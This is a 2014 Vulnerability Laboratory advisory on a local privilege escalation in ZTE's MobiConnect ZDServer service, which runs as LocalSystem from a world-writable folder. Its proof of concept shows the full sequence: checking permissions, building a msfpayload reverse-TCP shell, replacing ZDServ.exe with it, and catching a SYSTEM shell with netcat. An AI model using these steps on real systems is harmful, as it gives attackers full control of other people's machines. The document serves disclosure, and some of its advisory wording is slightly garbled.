Document Title:

Mobilis MobiConnect 3G ZDServer 1.x - Privilege Escalation Vulnerability

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1385

Release Date:

2014-12-19

Vulnerability Laboratory ID (VL-ID):

1385

Common Vulnerability Scoring System:

6.4

Product & Service Introduction:

http://www.3G.dz
http://wwwen.zte.com.cn/en

Abstract Advisory Information:

An independent vulnerability laboratory researcher discovered a local privilege escalation vulnerability in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software.

Vulnerability Disclosure Timeline:

2014-12-19: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

ZTE Corporation
Product: Mobilis 3g MobiConnect 3G++ ZDServer - Software 1.0.1.2

Exploitation Technique:

Local

Severity Level:

High

Technical Details & Description:

A local privilege escalation vulnerability has been discovered in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software.
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.

The vulnerability could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
of the application.

The security risk of the privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of
the vulnerability requires a local privileged systen user account without user for interaction. Successful exploitation of the privilege escalation web
vulnerability results in software- or system compromise.

Proof of Concept (PoC):

The local vulnerability can be exploited by local attackers with restricted system privileges and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

— PoC Session Logs —
C:\Users\s-dz>sc qc ZDServ
[SC] QueryServiceConfig reussite(s)

SERVICE_NAME: ZDServ
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ZDServ
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

C:\Users\s-dz\Desktop>net users s-dz
Nom d'utilisateur s-dz
Nom complet s-dz
Commentaire
Commentaires utilisateur
Code du pays 000 (Valeur par defaut du systeme)
Compte : actif Oui
Le compte expire Jamais

Mot de passe : dernier changmt. 18/12/2014 00:58:48
Le mot de passe expire Jamais
Le mot de passe modifiable 18/12/2014 00:58:48
Mot de passe exige Oui
L'utilisateur peut changer de mot de passe Oui

Stations autorisees Tout
Script d'ouverture de session
Profil d'utilisateur
Repertoire de base
Dernier acces 17/12/2014 22:54:46

Heures d'acces autorise Tout

Appartient aux groupes locaux *Utilisateurs
Appartient aux groupes globaux *None
La commande s'est terminee correctement.

C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\ProgramData\ZDSupport\ZDServ\"
C:\ProgramData\ZDSupport\ZDServ
Medium Mandatory Level (Default) [No-Write-Up]
RW Tout le monde
FILE_ALL_ACCESS
RW AUTORITE NT\Syst?me
FILE_ALL_ACCESS
RW BUILTIN\Administrateurs
FILE_ALL_ACCESS
RW BUILTIN\Utilisateurs
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
SYNCHRONIZE
READ_CONTROL

C:\Users\s-dz\Desktop>cacls "C:\ProgramData\ZDSupport\ZDServ\"
C:\ProgramData\ZDSupport\ZDServ Tout le monde:F
Tout le monde:(OI)(CI)(IO)F
AUTORITE NT\Systeme:(OI)(CI)(ID)F
BUILTIN\Administrateurs:(OI)(CI)(ID)F
CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F
BUILTIN\Utilisateurs:(OI)(CI)(ID)R
BUILTIN\Utilisateurs:(CI)(ID)(acces special
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_WRITE_EA
FILE_WRITE_ATTRIBUTES

############## PROOF ######################
C:\Users\s-dz\Desktop>net user s-dz
Nom d'utilisateur s-dz
Nom complet s-dz
Commentaire
Commentaires utilisateur
Code du pays 000 (Valeur par defaut du systeme)
Compte : actif Oui
Le compte expire Jamais

Mot de passe : dernier changmt. 18/12/2014 01:12:55
Le mot de passe expire Jamais
Le mot de passe modifiable 18/12/2014 01:12:55
Mot de passe exige Oui
L'utilisateur peut changer de mot de passe Oui

Stations autorisees Tout
Script d'ouverture de session
Profil d'utilisateur
Repertoire de base
Dernier acces 18/12/2014 03:16:07

Heures d'acces autorise Tout

Appartient aux groupes locaux *Utilisateurs
Appartient aux groupes globaux *None
La commande s'est terminee correctement.

Before we go over to action we need to check the status of the ZDserv service. In this case we can see
it is set to "AUTO_START" so it will launch

C:\Windows\system32>sc qc ZDserv
[SC] QueryServiceConfig reussite(s)

SERVICE_NAME: ZDserv
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ZDServ
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X > C:\Users\s-dz\Desktop\evil-ZDserv.exe

C:\Users\s-dz\Desktop>copy evil-ZDserv.exe C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe
Remplacer C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe (Oui/Non/Tous) : o
1 fichier(s) copie(s).

and later we will open cmd with administrator

C:\Windows\system32>sc start zdserv
###################################################################
C:\Users\s-dz\Desktop>nc.exe -lvp 4433
listening on [any] 4433 …
connect to [192.168.1.5] from s-dz [192.168.1.5] 4638
Microsoft Windows [version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. Tous droits reserves.

C:\Windows\system32>whoami
whoami
autorite nt\systeme

C:\Windows\system32>

Security Risk:

The security risk of the local privilege escalation vulnerability in the software is estimated as high. (CVSS 6.4)

Credits & Authors:

Hadji Samir [email protected]

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